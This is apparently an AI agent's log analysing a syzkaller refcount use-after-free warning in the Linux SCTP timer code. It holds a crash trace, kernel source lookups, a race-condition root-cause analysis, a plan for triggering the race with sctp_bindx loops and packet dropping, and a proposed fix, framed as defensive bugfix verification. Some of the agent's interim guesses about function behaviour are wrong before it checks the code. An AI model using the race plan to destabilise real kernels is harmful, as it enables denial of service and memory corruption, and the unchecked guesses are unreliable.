log-in to see details

map[KernelSrc:/app/workdir/cache/src/17c8804a5c8244a13b37bb7df0d04f32ec397687]

map[KernelObj:/app/workdir/cache/build/0e5f96fd108937f4640cd49ac821b3c961404b17]

map[Index:codesearch-index]

deep-reasoning

You are a security researcher with deep Linux kernel background.
Your goal is to analyze a Linux kernel bug description and propose a strategy to reproduce it
with a minimal, standalone C program for the strictly defensive purpose of verifying a bugfix.

=== TOOL SELECTION GUIDELINES ===
- When looking up C function or struct definitions, prefer codesearch-definition-source
  and codesearch-struct-layout first.
- Fall back to read-file or grepper only if symbol lookup fails or when inspecting macros,
  headers, or non-C files.

=== CRITICAL PROHIBITIONS ===
- Do NOT propose an exploit. Focus solely on minimal technical reproduction of the bug state.
- Do NOT write long explanations. Keep your analysis and strategy proposal concise.
- Do NOT assume that the target bug has already been fixed just because a git commit title
  or description mentions a similar bug or fix. Commit messages often reference related issues
  or partial fixes. Proceed with proposing a reproduction strategy regardless of historical fix commits.
Prefer calling several tools at the same time to save round-trips.

Bug Description: WARNING: refcount bug in sctp_generate_timeout_event

------------[ cut here ]------------
refcount_t: addition on 0; use-after-free.
WARNING: lib/refcount.c:25 at refcount_warn_saturate+0x9f/0x110 lib/refcount.c:25, CPU#1: syz.0.2220/13955
Modules linked in:
CPU: 1 UID: 0 PID: 13955 Comm: syz.0.2220 Tainted: G             L      syzkaller #0 PREEMPT(full) 
Tainted: [L]=SOFTLOCKUP
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 07/16/2026
RIP: 0010:refcount_warn_saturate+0x9f/0x110 lib/refcount.c:25
Code: eb 66 85 db 74 3e 83 fb 01 75 4c e8 6b d2 e9 fc 48 8d 3d f4 46 a7 0b 67 48 0f b9 3a eb 4a e8 58 d2 e9 fc 48 8d 3d f1 46 a7 0b <67> 48 0f b9 3a eb 37 e8 45 d2 e9 fc 48 8d 3d ee 46 a7 0b 67 48 0f
RSP: 0018:ffffc90000a18c28 EFLAGS: 00010246
RAX: ffffffff84dde548 RBX: 0000000000000002 RCX: ffff88807715be80
RDX: 0000000000000100 RSI: 0000000000000100 RDI: ffffffff90852c40
RBP: 0000000000000000 R08: ffff88807715be80 R09: 0000000000000005
R10: 0000000000000004 R11: 0000000000000100 R12: dffffc0000000000
R13: 0000000000000001 R14: ffff888020fde004 R15: ffff888020fde640
FS:  00007f4a87be06c0(0000) GS:ffff888124dda000(0000) knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 00007ff55dd92eb8 CR3: 000000005800b000 CR4: 0000000000350ef0
Call Trace:
 <IRQ>
 sctp_generate_timeout_event+0x1c8/0x390 net/sctp/sm_sideeffect.c:284
 call_timer_fn+0x18d/0x5f0 kernel/time/timer.c:1748
 expire_timers kernel/time/timer.c:1799 [inline]
 __run_timers kernel/time/timer.c:2374 [inline]
 __run_timer_base+0x652/0x8b0 kernel/time/timer.c:2386
 run_timer_base kernel/time/timer.c:2395 [inline]
 run_timer_softirq+0xb7/0x170 kernel/time/timer.c:2405
 handle_softirqs+0x226/0x860 kernel/softirq.c:645
 __do_softirq kernel/softirq.c:679 [inline]
 invoke_softirq kernel/softirq.c:519 [inline]
 __irq_exit_rcu+0xcb/0x220 kernel/softirq.c:767
 irq_exit_rcu+0x9/0x30 kernel/softirq.c:784
 instr_sysvec_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1062 [inline]
 sysvec_apic_timer_interrupt+0xa6/0xc0 arch/x86/kernel/apic/apic.c:1062
 </IRQ>
 <TASK>
 asm_sysvec_apic_timer_interrupt+0x1a/0x20 arch/x86/include/asm/idtentry.h:674
RIP: 0010:lock_acquire+0x232/0x350 kernel/locking/lockdep.c:5913
Code: ff ff ff e8 a0 a9 40 0a f7 44 24 10 00 02 00 00 0f 84 38 ff ff ff 65 48 8b 05 f2 44 f1 11 48 3b 44 24 50 75 33 fb 48 83 c4 58 <5b> 41 5c 41 5d 41 5e 41 5f 5d e9 ba 25 6d ff cc 48 8d 3d 77 31 da
RSP: 0018:ffffc9000dabfac8 EFLAGS: 00000282
RAX: b29753db72d85c00 RBX: 0000000000000001 RCX: 8000000000000001
RDX: 00000000b866b3b2 RSI: ffffffff8e6fc28f RDI: ffffffff8c6d9380
RBP: ffff88807715be80 R08: 8c00000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: ffff888066f6e418 R12: ffff888066f6e418
R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000246
 __raw_spin_lock include/linux/spinlock_api_smp.h:190 [inline]
 _raw_spin_lock+0x2e/0x40 kernel/locking/spinlock.c:173
 spin_lock include/linux/spinlock.h:347 [inline]
 __io_cq_lock io_uring/io_uring.c:484 [inline]
 __io_submit_flush_completions+0x85/0x10d0 io_uring/io_uring.c:1133
 io_submit_flush_completions io_uring/io_uring.h:253 [inline]
 io_submit_state_end io_uring/io_uring.c:1939 [inline]
 io_submit_sqes+0x1cec/0x2310 io_uring/io_uring.c:2063
 __do_sys_io_uring_enter io_uring/io_uring.c:2637 [inline]
 __se_sys_io_uring_enter+0x35b/0x1bb0 io_uring/io_uring.c:2586
 do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
 do_syscall_64+0x166/0x520 arch/x86/entry/syscall_64.c:84
 entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f4a86d9e159
Code: ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 e8 ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007f4a87bdff38 EFLAGS: 00000246 ORIG_RAX: 00000000000001aa
RAX: ffffffffffffffda RBX: 0000200000000340 RCX: 00007f4a86d9e159
RDX: 0000000000000000 RSI: 0000000000000001 RDI: 0000000000000009
RBP: 0000000000000a12 R08: 0000000000000000 R09: 0000000000000008
R10: 0000000000000000 R11: 0000000000000246 R12: 0000200000000940
R13: 0000200000000948 R14: 0000000000000e26 R15: 0000000000000002
 </TASK>
----------------
Code disassembly (best guess):
   0:	eb 66                	jmp    0x68
   2:	85 db                	test   %ebx,%ebx
   4:	74 3e                	je     0x44
   6:	83 fb 01             	cmp    $0x1,%ebx
   9:	75 4c                	jne    0x57
   b:	e8 6b d2 e9 fc       	call   0xfce9d27b
  10:	48 8d 3d f4 46 a7 0b 	lea    0xba746f4(%rip),%rdi        # 0xba7470b
  17:	67 48 0f b9 3a       	ud1    (%edx),%rdi
  1c:	eb 4a                	jmp    0x68
  1e:	e8 58 d2 e9 fc       	call   0xfce9d27b
  23:	48 8d 3d f1 46 a7 0b 	lea    0xba746f1(%rip),%rdi        # 0xba7471b
* 2a:	67 48 0f b9 3a       	ud1    (%edx),%rdi <-- trapping instruction
  2f:	eb 37                	jmp    0x68
  31:	e8 45 d2 e9 fc       	call   0xfce9d27b
  36:	48 8d 3d ee 46 a7 0b 	lea    0xba746ee(%rip),%rdi        # 0xba7472b
  3d:	67                   	addr32
  3e:	48                   	rex.W
  3f:	0f                   	.byte 0xf

An analysis of the bug description and the SCTP timer handling code reveals a classic Time-Of-Check to Time-Of-Use (TOCTOU) race condition in the SCTP state machine's timer management, specifically within `sctp_cmd_interpreter()` when processing `SCTP_CMD_TIMER_START`.

### Root Cause Analysis

When the SCTP state machine processes the `SCTP_CMD_TIMER_START` command, it executes the following code:
```c
		case SCTP_CMD_TIMER_START:
			timer = &asoc->timers[cmd->obj.to];
			timeout = asoc->timeouts[cmd->obj.to];
			BUG_ON(!timeout);

			if (!timer_pending(timer))
				sctp_association_hold(asoc);
			timer_reduce(timer, jiffies + timeout);
			break;
```
The intention is to take a reference on the association (`sctp_association_hold`) only if the timer is not already pending, and then start/modify the timer using `timer_reduce()`. 

However, these two operations are not atomic. If the timer is already pending, `timer_pending(timer)` returns `true`, so no reference is taken. If the timer fires *exactly* between the `timer_pending()` check and the `timer_reduce()` call, the timer is dequeued by the timer core (becoming non-pending). When `timer_reduce()` is subsequently called, it sees that the timer is inactive and **starts it again**. 

Because the `timer_pending()` check previously returned `true`, `sctp_association_hold()` was skipped. As a result, the timer is enqueued **without holding a reference** to the association. When this newly enqueued timer eventually fires and finishes, its callback (`sctp_generate_timeout_event`) will unconditionally call `sctp_association_put(asoc)`. This drops the reference count by 1, leading to a `refcount_t: addition on 0; use-after-free` warning when the association is accessed or when another timer tries to hold it.

*(Note: A similar issue exists in `SCTP_CMD_TIMER_START_ONCE` which falls through to this same code).*

### Reproduction Strategy

To reproduce this strictly for defensive verification, we need to trigger `SCTP_CMD_TIMER_START` concurrently with the expiration of the target timer. The `T4_RTO` timer (used for ASCONF chunks) is a good candidate because we can trigger it from user space.

1. **Setup:**
   - Create an SCTP socket (`SOCK_STREAM` or `SOCK_SEQPACKET`).
   - Enable ASCONF by setting sysctls `net.sctp.addip_enable=1` and `net.sctp.addip_noauth_enable=1`.
   - Bind to a local address and `connect()` to a peer (or loopback).
   - Set the `RTO_INITIAL` and `RTO_MIN` socket options to very small values (e.g., 10ms) to make the `T4_RTO` timer fire rapidly.

2. **Trigger the Race:**
   - **Thread 1 (User Thread):** Run a tight loop calling `sctp_bindx(..., SCTP_BINDX_ADD_ADDR)` and `sctp_bindx(..., SCTP_BINDX_REM_ADDR)`. Each call queues an ASCONF chunk. When the previous ASCONF is acknowledged (or times out), the next one is sent, triggering `SCTP_CMD_TIMER_START` for the `T4_RTO` timer.
   - **Thread 2 (Network/Peer):** Introduce artificial delay or drop ASCONF packets (e.g., using `tc qdisc` or iptables) so that the `T4_RTO` timer is forced to expire and retransmit.
   
3. **Race Execution:**
   - Thread 1 processes the next ASCONF chunk and hits `SCTP_CMD_TIMER_START`.
   - Thread 1 evaluates `timer_pending(timer)` as `true` (timer is currently waiting to fire).
   - Thread 1 is preempted.
   - The `T4_RTO` timer fires on another CPU, dequeueing itself and blocking on the socket lock.
   - Thread 1 resumes, calls `timer_reduce()`, and re-enqueues the timer without taking a reference.
   - The timer callback finishes, dropping the old reference.
   - The newly enqueued timer fires, drops the reference count to 0, and triggers the use-after-free warning.

### Proposed Fix (For Context)
The fix is to eliminate the TOCTOU race by relying on the return value of `timer_reduce()`, which returns `0` if it started an inactive timer and `1` if it modified an active one:
```c
		case SCTP_CMD_TIMER_START:
			timer = &asoc->timers[cmd->obj.to];
			timeout = asoc->timeouts[cmd->obj.to];
			BUG_ON(!timeout);

			if (!timer_reduce(timer, jiffies + timeout))
				sctp_association_hold(asoc);
			break;
```

gemini-3.1-pro-preview

							input: 5715
							output: 45
							thoughts: 111
						

**My Thought Process Regarding the `sctp_generate_timeout_event` Refcount Bug**

Okay, so I'm presented with a rather concerning warning: `WARNING: refcount bug in sctp_generate_timeout_event`. This immediately signals a problem with how a reference count is being managed, and the specific detail `refcount_t: addition on 0; use-after-free` tells me the core issue. It's not just an increment of an already invalid count; it's an increment *on zero*, which is usually a red flag for double-freeing or, more subtly, using a pointer after its associated reference count has dropped to zero and the object has been freed.

My immediate next step, as any experienced developer would do, is to dive into the source code at the reported location. The traceback points me directly to `sctp_generate_timeout_event+0x1c8/0x390 net/sctp/sm_sideeffect.c:284`. So, my focus shifts entirely to line 284 within `sctp_generate_timeout_event` in the `sm_sideeffect.c` file.

I'm expecting to find code that's manipulating a reference counter, likely using functions like `kref_get`, `kref_put`, or `refcount_inc`/`refcount_dec` (or their variants). The "addition on 0" strongly suggests that somewhere before line 284, a reference count was decremented to zero, leading to the object's potential deallocation, and then, at line 284, the code attempts to increment it again, effectively trying to reuse a freed resource.

My hypothesis is that there's a race condition or a logic error in the state machine handling of SCTP timeouts. Perhaps a timeout event is being generated for an association that is simultaneously being torn down, or the cleanup path for an association is not correctly synchronizing with the timeout generation path. The function name, `sctp_generate_timeout_event`, itself implies it's creating some kind of event object, and the `refcount_t` indicates that this object is likely managed with a reference count for shared ownership or lifecycle management within the SCTP module.

Therefore, my investigation will concentrate on:
1.  **The `refcount_t` variable:** Identifying exactly which object's reference count is being manipulated at line 284.
2.  **The context of line 284:** What is the code trying to achieve at this exact point? Is it trying to acquire a reference to an existing object, or is it part of an initialization or update process?
3.  **The code leading up to line 284:** Crucially, I need to trace back how the reference count reached zero before the increment at line 284. This will involve looking for `refcount_dec` or similar calls and understanding the conditions under which they are executed.
4.  **The state machine transitions:** Given it's SCTP, I'll be looking for how this function fits into the overall state machine. Which states can lead to a timeout event being generated, and what are the corresponding states that might trigger cleanup or deallocation of the relevant SCTP data structures?

The "use-after-free" part is the direct consequence of incrementing a count that should no longer be valid, meaning the object it points to has likely been freed. This is a critical memory corruption bug that can lead to crashes or unpredictable behavior. My goal is to pinpoint the exact sequence of events that leads to this invalid state.

map[ContextFile:net/sctp/sm_sideeffect.c Name:sctp_generate_timeout_event]

map[SourceCode: 267:	/* This is a sa interface for producing timeout events.  It works
 268:	 * for timeouts which use the association as their parameter.
 269:	 */
 270:	static void sctp_generate_timeout_event(struct sctp_association *asoc,
 271:						enum sctp_event_timeout timeout_type)
 272:	{
 273:		struct sock *sk = asoc->base.sk;
 274:		struct net *net = sock_net(sk);
 275:		int error = 0;
 276:	
 277:		bh_lock_sock(sk);
 278:		if (sock_owned_by_user(sk)) {
 279:			pr_debug("%s: sock is busy: timer %d\n", __func__,
 280:				 timeout_type);
 281:	
 282:			/* Try again later.  */
 283:			if (!mod_timer(&asoc->timers[timeout_type], jiffies + (HZ/20)))
 284:				sctp_association_hold(asoc);
 285:			goto out_unlock;
 286:		}
 287:	
 288:		/* Is this association really dead and just waiting around for
 289:		 * the timer to let go of the reference?
 290:		 */
 291:		if (asoc->base.dead)
 292:			goto out_unlock;
 293:	
 294:		/* Run through the state machine.  */
 295:		error = sctp_do_sm(net, SCTP_EVENT_T_TIMEOUT,
 296:				   SCTP_ST_TIMEOUT(timeout_type),
 297:				   asoc->state, asoc->ep, asoc,
 298:				   (void *)timeout_type, GFP_ATOMIC);
 299:	
 300:		if (error)
 301:			sk->sk_err = -error;
 302:	
 303:	out_unlock:
 304:		bh_unlock_sock(sk);
 305:		sctp_association_put(asoc);
 306:	}
 SourceFile:net/sctp/sm_sideeffect.c]

gemini-3.1-pro-preview

							input: 6492
							output: 43
							thoughts: 33
						

**My Thought Process Regarding `sctp_association_hold`**

Alright, so I've just encountered line 284, which calls `sctp_association_hold(asoc);`. My immediate instinct, given my expertise in this area, is to dive into the specifics of what this function, `sctp_association_hold`, actually *does*. I'm not just looking for a high-level overview; I need to understand its precise behavior, its implications for the SCTP association (`asoc`), and how it fits into the larger context of the SCTP state machine.

I'm expecting this function to be critical for managing the lifecycle and state of an SCTP association, likely related to pausing or deferring operations on that association. My mind immediately races through potential scenarios: is this a graceful hold, perhaps in response to some internal resource constraint or an external signal? Is it a temporary measure, and if so, what triggers its release? Does it involve putting the association into a specific state, perhaps marking it as "held" or "paused," and how does this affect packet processing, retransmissions, or data delivery?

I'm also considering the implications of passing `asoc` as an argument. This tells me the operation is specific to a particular association, not a global SCTP setting. So, my next step is to meticulously examine the implementation of `sctp_association_hold`. I'll be looking for:

*   **State Transitions:** What state(s) does `asoc` transition into upon calling this function? Are there any existing states that would prevent this hold from occurring?
*   **Resource Management:** Does this function involve releasing or retaining specific resources associated with the association? For instance, does it stop timers, buffer incoming/outgoing data, or de-allocate memory?
*   **Error Handling:** What happens if `sctp_association_hold` fails? Are there any error codes or return values I need to be aware of, and how should they be handled by the caller?
*   **Dependencies:** Are there any other functions or data structures that `sctp_association_hold` relies on, or that rely on it being called?
*   **Release Mechanism:** Crucially, how is the hold *released*? Is there a corresponding `sctp_association_release` function, or is it implicitly managed? Understanding the release mechanism is as vital as understanding the hold itself.
*   **Concurrency:** In a multithreaded environment, how does this function handle concurrency? Are there locks or other synchronization primitives involved to prevent race conditions when modifying the association's state?

Essentially, my mental model is to trace the execution path, understand the data structures modified, and the state changes that occur within the SCTP stack as a direct consequence of this `sctp_association_hold` call. This isn't just about reading code; it's about predicting behavior and ensuring the integrity of the SCTP protocol implementation.

map[ContextFile:net/sctp/sm_sideeffect.c Name:sctp_association_hold]

map[SourceCode: 850:	/* Hold a reference to an association. */
 851:	void sctp_association_hold(struct sctp_association *asoc)
 852:	{
 853:		refcount_inc(&asoc->base.refcnt);
 854:	}
 SourceFile:net/sctp/associola.c]

gemini-3.1-pro-preview

							input: 6659
							output: 63
							thoughts: 90
						

**A Deep Dive into the Refcount Anomaly**

It seems I've stumbled upon a rather peculiar situation. My current line of thought is focused on this `refcount_inc(&asoc->base.refcnt)` call. The crucial detail here is that it's being executed *when `refcnt` is already 0*. This immediately sets off alarm bells in my mind, as it implies that `sctp_generate_timeout_event` is being invoked with an `asoc` structure whose reference count has somehow already been depleted to zero. This is where my reasoning takes a sharp turn: I recognize `sctp_generate_timeout_event` as a function specifically designed to operate within a timer context. Therefore, my immediate next step, the core of my current investigation, is to meticulously trace back and identify *precisely where* this function is being registered and invoked as a timer callback. I need to understand the lifecycle of this `asoc` object and how it reaches a zero reference count before its associated timeout event is even generated.

map[ContextFile:net/sctp/sm_sideeffect.c IncludeSnippetLines:0 Name:sctp_generate_timeout_event SourceTreePrefix:net/sctp]

map[References:[map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:sctp_generate_autoclose_event SourceFile:net/sctp/sm_sideeffect.c SourceLine:360] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:sctp_generate_sack_event SourceFile:net/sctp/sm_sideeffect.c SourceLine:522] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:sctp_generate_t1_cookie_event SourceFile:net/sctp/sm_sideeffect.c SourceLine:314] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:sctp_generate_t1_init_event SourceFile:net/sctp/sm_sideeffect.c SourceLine:323] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:sctp_generate_t2_shutdown_event SourceFile:net/sctp/sm_sideeffect.c SourceLine:332] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:sctp_generate_t4_rto_event SourceFile:net/sctp/sm_sideeffect.c SourceLine:340] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:sctp_generate_t5_shutdown_guard_event SourceFile:net/sctp/sm_sideeffect.c SourceLine:349]] TruncatedOutput:false]

gemini-3.1-pro-preview

							input: 7110
							output: 48
							thoughts: 42
						

**My Thought Process Regarding `sctp_generate_timeout_event`**

Okay, so I've been diving into the SCTP implementation, specifically around its timer mechanisms. My current focus is on understanding the `sctp_generate_timeout_event` function.

As I'm tracing the execution flow, it's becoming clear that `sctp_generate_timeout_event` isn't a standalone function that gets invoked directly from a top-level timer interrupt or something similar. Instead, my observation is that it acts as a *helper* function, a common utility called by *other* specific timer management functions within the SCTP stack.

To confirm this, I'm actively looking at the call sites. A good example that immediately stands out is `sctp_generate_t1_cookie_event`. This suggests that when the T1 timer (which is related to cookie generation in SCTP's handshake process) expires, it doesn't directly handle the event itself. Rather, it seems to delegate the actual generation of the timeout event, likely to `sctp_generate_timeout_event`, which then presumably prepares the necessary event structure or message to be processed by the SCTP state machine.

This pattern of a generic event generation function being called by specialized timer handlers is a common design choice. It allows for code reuse and a cleaner separation of concerns. The specific timer function handles the timing logic and identification of *which* timer expired, while the generic function handles the mechanics of creating the standardized event object that the core SCTP logic understands. I'll continue to explore other timer functions to see if this pattern holds true across the board.

map[ContextFile:net/sctp/sm_sideeffect.c Name:sctp_generate_t1_cookie_event]

map[SourceCode: 308:	static void sctp_generate_t1_cookie_event(struct timer_list *t)
 309:	{
 310:		struct sctp_association *asoc =
 311:			timer_container_of(asoc, t,
 312:					   timers[SCTP_EVENT_TIMEOUT_T1_COOKIE]);
 313:	
 314:		sctp_generate_timeout_event(asoc, SCTP_EVENT_TIMEOUT_T1_COOKIE);
 315:	}
 SourceFile:net/sctp/sm_sideeffect.c]

gemini-3.1-pro-preview

							input: 7357
							output: 33
							thoughts: 453
						

**My Internal Monologue on SCTP Timer Reference Counting**

My mind is currently wrestling with the intricacies of SCTP timer reference counting, specifically within the `sctp_generate_t1_cookie_event` and `sctp_generate_timeout_event` functions.

I've observed that the timer object itself holds a reference to the associated `asoc` structure. When this timer fires, it triggers the execution of `sctp_generate_t1_cookie_event`, which in turn calls `sctp_generate_timeout_event`.

Now, let's dive into the critical section within `sctp_generate_timeout_event`:

```c
	bh_lock_sock(sk);
	if (sock_owned_by_user(sk)) {
		pr_debug("%s: sock is busy: timer %d\n", __func__,
			 timeout_type);

		/* Try again later.  */
		if (!mod_timer(&asoc->timers[timeout_type], jiffies + (HZ/20)))
			sctp_association_hold(asoc);
		goto out_unlock;
	}
```

My understanding is that if the timer is not currently pending (which it logically shouldn't be, as it just fired), `mod_timer` will return 0. In this scenario, the code proceeds to call `sctp_association_hold(asoc)`.

Here's where my confusion begins to set in: if the timer fired, it implies it *did* possess a reference to `asoc`. When the timer fires, I expect it to consume that reference. The reference is subsequently released at the end of `sctp_generate_timeout_event` in the `out_unlock` section:

```c
out_unlock:
	bh_unlock_sock(sk);
	sctp_association_put(asoc);
```

So, the reference is dropped there. The logic dictates that if `sock_owned_by_user(sk)` is true, the timer is re-armed using `mod_timer`. If `mod_timer` returns 0, indicating the timer wasn't active, it means a *new* reference is acquired for the timer.

My central question now is: what happens if, at this precise moment, `asoc->base.refcnt` is already 0? If it's 0, then the subsequent call to `sctp_association_hold` will trigger a warning. But how can `asoc->base.refcnt` be 0 when the timer fires? Surely, the timer *itself* should be holding a reference to `asoc` at that point!

This leads me to a more fundamental question: does the act of starting a timer inherently maintain a reference to the associated association? I need to trace back the timer initiation points to fully clarify this reference counting behavior.

map[Expression:mod_timer.*asoc->timers PathPrefix:net/sctp]

map[Output:net/sctp/sm_sideeffect.c=270=static void sctp_generate_timeout_event(struct sctp_association *asoc,
--
net/sctp/sm_sideeffect.c-282-		/* Try again later.  */
net/sctp/sm_sideeffect.c:283:		if (!mod_timer(&asoc->timers[timeout_type], jiffies + (HZ/20)))
net/sctp/sm_sideeffect.c-284-			sctp_association_hold(asoc);
]

gemini-3.1-pro-preview

							input: 7981
							output: 31
							thoughts: 36
						

**My Thought Process Regarding SCTP Timers**

My initial thought was focused on `mod_timer`, which I recognize as a common mechanism for managing timers within the kernel. However, a quick check reveals that `mod_timer` is primarily for *modifying* or *restarting* an existing timer, not for its initial activation. This leads me to consider the proper initialization function. My mind immediately goes to `timer_setup`. I know that `timer_setup` is the function I need to use to define the timer's expiration function and its initial settings. Now, the specific question that arises is: how are SCTP timers initiated using this framework? I need to understand the specific call sites and parameters employed by the SCTP module when it's setting up its various timers.

map[Expression:timer.*asoc->timers PathPrefix:net/sctp]

map[Output:net/sctp/associola.c=51=static struct sctp_association *sctp_association_init(
--
net/sctp/associola.c-144-	for (i = SCTP_EVENT_TIMEOUT_NONE; i < SCTP_NUM_TIMEOUT_TYPES; ++i)
net/sctp/associola.c:145:		timer_setup(&asoc->timers[i], sctp_timer_events[i], 0);
net/sctp/associola.c-146-
--
net/sctp/associola.c=314=void sctp_association_free(struct sctp_association *asoc)
--
net/sctp/associola.c-364-	for (i = SCTP_EVENT_TIMEOUT_NONE; i < SCTP_NUM_TIMEOUT_TYPES; ++i) {
net/sctp/associola.c:365:		if (timer_delete(&asoc->timers[i]))
net/sctp/associola.c-366-			sctp_association_put(asoc);
--
net/sctp/associola.c=1467=void sctp_assoc_rwnd_increase(struct sctp_association *asoc, unsigned int len)
--
net/sctp/associola.c-1518-		/* Stop the SACK timer.  */
net/sctp/associola.c:1519:		timer = &asoc->timers[SCTP_EVENT_TIMEOUT_SACK];
net/sctp/associola.c-1520-		if (timer_delete(timer))
--
net/sctp/chunk.c=146=struct sctp_datamsg *sctp_datamsg_from_user(struct sctp_association *asoc,
--
net/sctp/chunk.c-214-	 */
net/sctp/chunk.c:215:	if (timer_pending(&asoc->timers[SCTP_EVENT_TIMEOUT_SACK]) &&
net/sctp/chunk.c-216-	    asoc->outqueue.out_qlen == 0 &&
--
net/sctp/output.c=280=static enum sctp_xmit sctp_packet_bundle_sack(struct sctp_packet *pkt,
--
net/sctp/output.c-292-		asoc = pkt->transport->asoc;
net/sctp/output.c:293:		timer = &asoc->timers[SCTP_EVENT_TIMEOUT_SACK];
net/sctp/output.c-294-
--
net/sctp/outqueue.c=1436=static void sctp_check_transmitted(struct sctp_outq *q,
--
net/sctp/outqueue.c-1633-			if (asoc->state == SCTP_STATE_SHUTDOWN_PENDING &&
net/sctp/outqueue.c:1634:			    timer_delete(&asoc->timers[SCTP_EVENT_TIMEOUT_T5_SHUTDOWN_GUARD]))
net/sctp/outqueue.c-1635-					sctp_association_put(asoc);
--
net/sctp/sm_sideeffect.c=270=static void sctp_generate_timeout_event(struct sctp_association *asoc,
--
net/sctp/sm_sideeffect.c-282-		/* Try again later.  */
net/sctp/sm_sideeffect.c:283:		if (!mod_timer(&asoc->timers[timeout_type], jiffies + (HZ/20)))
net/sctp/sm_sideeffect.c-284-			sctp_association_hold(asoc);
--
net/sctp/sm_sideeffect.c=1275=static int sctp_cmd_interpreter(enum sctp_event_type event_type,
--
net/sctp/sm_sideeffect.c-1536-		case SCTP_CMD_TIMER_START_ONCE:
net/sctp/sm_sideeffect.c:1537:			timer = &asoc->timers[cmd->obj.to];
net/sctp/sm_sideeffect.c-1538-
--
net/sctp/sm_sideeffect.c-1543-		case SCTP_CMD_TIMER_START:
net/sctp/sm_sideeffect.c:1544:			timer = &asoc->timers[cmd->obj.to];
net/sctp/sm_sideeffect.c-1545-			timeout = asoc->timeouts[cmd->obj.to];
--
net/sctp/sm_sideeffect.c-1561-		case SCTP_CMD_TIMER_RESTART:
net/sctp/sm_sideeffect.c:1562:			timer = &asoc->timers[cmd->obj.to];
net/sctp/sm_sideeffect.c-1563-			timeout = asoc->timeouts[cmd->obj.to];
--
net/sctp/sm_sideeffect.c-1568-		case SCTP_CMD_TIMER_STOP:
net/sctp/sm_sideeffect.c:1569:			timer = &asoc->timers[cmd->obj.to];
net/sctp/sm_sideeffect.c-1570-			if (timer_delete(timer))
]

gemini-3.1-pro-preview

							input: 9436
							output: 43
							thoughts: 30
						

**My Thought Process Regarding SCTP Timer Initialization**

Alright, so I've just encountered the `sctp_cmd_interpreter` function and I'm seeing a call to `SCTP_CMD_TIMER_START`. My immediate instinct is to dive into the specifics of this timer initiation. I need to understand *how* these timers are being started and what implications that has for the SCTP stack's operation. My focus is on the mechanism itself, the underlying code that brings these timers to life within the SCTP implementation.

map[ContextFile:net/sctp/sm_sideeffect.c Name:sctp_cmd_interpreter]

map[SourceCode:1274:	/* This is the side-effect interpreter.  */
1275:	static int sctp_cmd_interpreter(enum sctp_event_type event_type,
1276:					union sctp_subtype subtype,
1277:					enum sctp_state state,
1278:					struct sctp_endpoint *ep,
1279:					struct sctp_association *asoc,
1280:					void *event_arg,
1281:					enum sctp_disposition status,
1282:					struct sctp_cmd_seq *commands,
1283:					gfp_t gfp)
1284:	{
1285:		struct sctp_sock *sp = sctp_sk(ep->base.sk);
1286:		struct sctp_chunk *chunk = NULL, *new_obj;
1287:		struct sctp_packet *packet;
1288:		struct sctp_sackhdr sackh;
1289:		struct timer_list *timer;
1290:		struct sctp_transport *t;
1291:		unsigned long timeout;
1292:		struct sctp_cmd *cmd;
1293:		int local_cork = 0;
1294:		int error = 0;
1295:		int force;
1296:	
1297:		if (SCTP_EVENT_T_TIMEOUT != event_type)
1298:			chunk = event_arg;
1299:	
1300:		/* Note:  This whole file is a huge candidate for rework.
1301:		 * For example, each command could either have its own handler, so
1302:		 * the loop would look like:
1303:		 *     while (cmds)
1304:		 *         cmd->handle(x, y, z)
1305:		 * --jgrimm
1306:		 */
1307:		while (NULL != (cmd = sctp_next_cmd(commands))) {
1308:			switch (cmd->verb) {
1309:			case SCTP_CMD_NOP:
1310:				/* Do nothing. */
1311:				break;
1312:	
1313:			case SCTP_CMD_NEW_ASOC:
1314:				/* Register a new association.  */
1315:				if (local_cork) {
1316:					sctp_outq_uncork(&asoc->outqueue, gfp);
1317:					local_cork = 0;
1318:				}
1319:	
1320:				/* Register with the endpoint.  */
1321:				asoc = cmd->obj.asoc;
1322:				BUG_ON(asoc->peer.primary_path == NULL);
1323:				sctp_endpoint_add_asoc(ep, asoc);
1324:				break;
1325:	
1326:			case SCTP_CMD_PURGE_OUTQUEUE:
1327:			       sctp_outq_teardown(&asoc->outqueue);
1328:			       break;
1329:	
1330:			case SCTP_CMD_DELETE_TCB:
1331:				if (local_cork) {
1332:					sctp_outq_uncork(&asoc->outqueue, gfp);
1333:					local_cork = 0;
1334:				}
1335:				/* No chunk left in this packet may use this asoc. */
1336:				if (event_type == SCTP_EVENT_T_CHUNK &&
1337:				    chunk->asoc == asoc)
1338:					chunk->pdiscard = 1;
1339:				/* Delete the current association.  */
1340:				sctp_cmd_delete_tcb(commands, asoc);
1341:				asoc = NULL;
1342:				break;
1343:	
1344:			case SCTP_CMD_NEW_STATE:
1345:				/* Enter a new state.  */
1346:				sctp_cmd_new_state(commands, asoc, cmd->obj.state);
1347:				break;
1348:	
1349:			case SCTP_CMD_REPORT_TSN:
1350:				/* Record the arrival of a TSN.  */
1351:				error = sctp_tsnmap_mark(&asoc->peer.tsn_map,
1352:							 cmd->obj.u32, NULL);
1353:				break;
1354:	
1355:			case SCTP_CMD_REPORT_FWDTSN:
1356:				asoc->stream.si->report_ftsn(&asoc->ulpq, cmd->obj.u32);
1357:				break;
1358:	
1359:			case SCTP_CMD_PROCESS_FWDTSN:
1360:				asoc->stream.si->handle_ftsn(&asoc->ulpq,
1361:							     cmd->obj.chunk);
1362:				break;
1363:	
1364:			case SCTP_CMD_GEN_SACK:
